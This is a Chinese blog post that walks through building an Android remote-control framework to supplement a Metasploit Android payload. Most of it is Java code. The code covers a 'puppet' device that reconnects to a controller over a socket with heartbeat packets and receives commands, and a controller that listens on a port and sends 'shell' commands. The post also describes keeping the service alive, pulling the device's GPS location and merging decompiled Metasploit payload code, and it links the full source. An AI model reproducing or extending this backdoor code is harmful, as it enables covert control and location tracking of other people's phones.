/作者:Kali_MG1937

CSDN博客:ALDYS4

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本文是由作者于18年初所写,18年底之后逐篇上传至CSDN,存在一系列问题,故转移至黑历史专栏中

Metasploit的安卓载荷模块已经非常完善了,但某些情况下,该模块还有一些我需要却没有的功能

既然不能通过反编译载荷来修改代码,那不如干脆制作一个框架来容纳这些不足

开始构思

框架要怎么实现傀儡机和控制机的互通

最简单的方法就是利用java的Socket类来实现两者的交流

工具已经选择好了,那么怎么实现?

预想:

无论何时,只要傀儡机启动(载荷),控制端都能完美接收

无论何时,只要控制端在线,都能准确接收傀儡机通讯

这是完美的情况,可具体怎么实现?

开始工程

假设:

傀儡机建立一个Socket链接

Socket socket=new Socket(ip,port);

我们知道当socket成功被建立时才会让socket获取实例

反过来说,如果链接建立失败(如对方不在线,端口没被监听等等情况),socket就是null

那么就好办了

傀儡机:

循环检测socket,若不为null时

就向控制端发送心跳包,若对方成功接收就隔一秒再次发送,

如果控制端一旦下线,傀儡机发送心跳包时就会抛出错误,抛出错误时再次建立socket链接

编写出对应代码:

		new Thread(new Runnable(){

				@Override
public void run()
{
while(true){
try
{ if (socket != null)//检查socket是否为null,若不是,执行下一句
{
try
{
socket.sendUrgentData(0xFF);//发送心跳包,若发送失败,抛出错误 }
catch (IOException e)
{
socket=new Socket(ip, 1557);//抛出错误时重新建立socket链接
}
}else{
socket=new Socket(ip, 1557);//若socket为空,再次建立链接
}
}
catch (IOException e)
{}
try
{
Thread.sleep(1000);//时隔一秒
}
catch (InterruptedException e)
{}
}
}
}).start();

这里我用一个线程封装了全过程

傀儡机保证socket稳定的代码已经实现

接下来实现交流

如何实现傀儡机与控制端的交流?

当然是利用InputStream类来实现

同样封装在一个线程里,方便调用

实现代码:

thread=	new Thread(new Runnable(){

				@Override
public void run()
{
try{
InputStream in=socket.getInputStream();
int len;
byte[] b=new byte[1024];
while ((len = in.read(b)) != -1)
{
String cmd=new String(b,0,len); }
}
catch (IOException e)
{}
}
});

还有一个问题,我们知道socket链接随时可能丢失(如控制端下线),

就算我保证了链接在丢失后能在任何时刻重连,但socket断开后,当前的socket会话不可能保留,

也就是说,如果仅仅让InputStream读取一遍socket链接的内容是不可取的

那怎么办呢?

我之前利用发送心跳包已经实现了保证socket重连,那就再在这个方法是进行改进,

我们知道线程启动后是不能再次启动的,除非线程已死,才能再次调用run()方法使线程重新运转

那么思路就清晰了:

发送心跳包后检查读取socket内容的线程是否死亡,如果死亡,

检查线程是否是新建立的线程,如果是,则调用start()方法,如果不是,则调用run()方法

在之前的基础上实现代码:

socket.sendUrgentData(0xFF);//发送心跳包,若发送失败,抛出错误
if(!thread.isAlive()){//判断线程死活
if(thread.getState()==Thread.State.NEW){//判断线程是否已经启动
thread.start();}
else{thread.run();}

接着实现服务不死就差不多完成傀儡机了

要实现服务不死可以利用通知栏提升服务优先级,这里就粗略讲一下

实现一些控制傀儡机操作的方法就先不讲了,

因为我这里主要讲的是socket的运用

在文章底我会放上源码

控制端:

既然傀儡机的代码实现了,那么控制端的代码对照着写就行

写法如出一辙

保证socket稳定仍然利用发送心跳包

不过有一点不同的就是要让socket获取实例,

必须要先监听端口

ServerSocket serverSocket=new ServerSocket(port);
socket=serverSocket.accept();

获取socket实例后就可以利用发送心跳包的方法判断存活了

这里我把获取与傀儡机联系的代码一并放出

	public void sendShell(){

		new Thread(new Runnable(){

				@Override
public void run()
{ try
{
if(socket!=null){
OutputStream os=socket.getOutputStream();
os.write(send.getBytes());
os.flush();
outPuts("向目标发送了命令:"+send);}
else{outPuts("socket还未获取实例对象");}
}
catch (IOException e)
{toast("目标没有接收到心跳包,可能已下线");
outPuts("目标没有接收到shell");}
// TODO: Implement this method
}
}).start();
}
public void bindPort(){
new Thread(new Runnable(){//建立一个用来接收tcp的线程 @Override
public void run()
{try
{
serverSocket = new ServerSocket(port);//建立端口的监听
socket = serverSocket.accept();
toast("接收到Tcp包:From "+socket.getInetAddress().toString());
outPuts("目标:"+socket.getInetAddress().toString()+"连接至本机");
}
catch (IOException e)
{}//放行端口
// TODO: Implement this method
}
}).start();
} public void socketTcp(){
final Thread thread;
thread = new Thread(new Runnable(){ @Override
public void run()
{try
{
InputStream in=socket.getInputStream();
int len;
byte[] b=new byte[1024];
while((len=in.read(b))!=-1){
outPuts(new String(b,0,len));
}
}
catch (IOException e)
{}
// TODO: Implement this method
}
}); new Thread(new Runnable(){//检查socket是否开启 @Override
public void run()
{while(true){
if(socket!=null){
try
{
socket.sendUrgentData(0xFF);//发送心跳包
if(!thread.isAlive()){
if(thread.getState()==Thread.State.NEW){//判断线程是否已经启动
thread.start();}else{thread.run();}}
}
catch (IOException e)
{//若跑出异常,执行下一句
try
{
toast("对方似乎下线,重连...");
//outPuts(socket.getInetAddress().toString()+" 下线");
socket = serverSocket.accept();
outPuts(socket.getInetAddress().toString()+" 重连至本机");
toast("重连成功");
}
catch (IOException e1)
{} }
}
try
{
Thread.sleep(1000);
}
catch (InterruptedException e)
{}
} }
}).start(); }

这样就完成了

编译工程,实现效果

我这里实现了一些控制代码

如向傀儡机传入runGps和getGps

就能获取傀儡机位置信息



把metasploit安卓载荷的代码反编译,与傀儡机软件结合,就实现了进一步完善安卓载荷的目的



接下来放上源码

百度云:

Metasploit安卓载荷辅助框架

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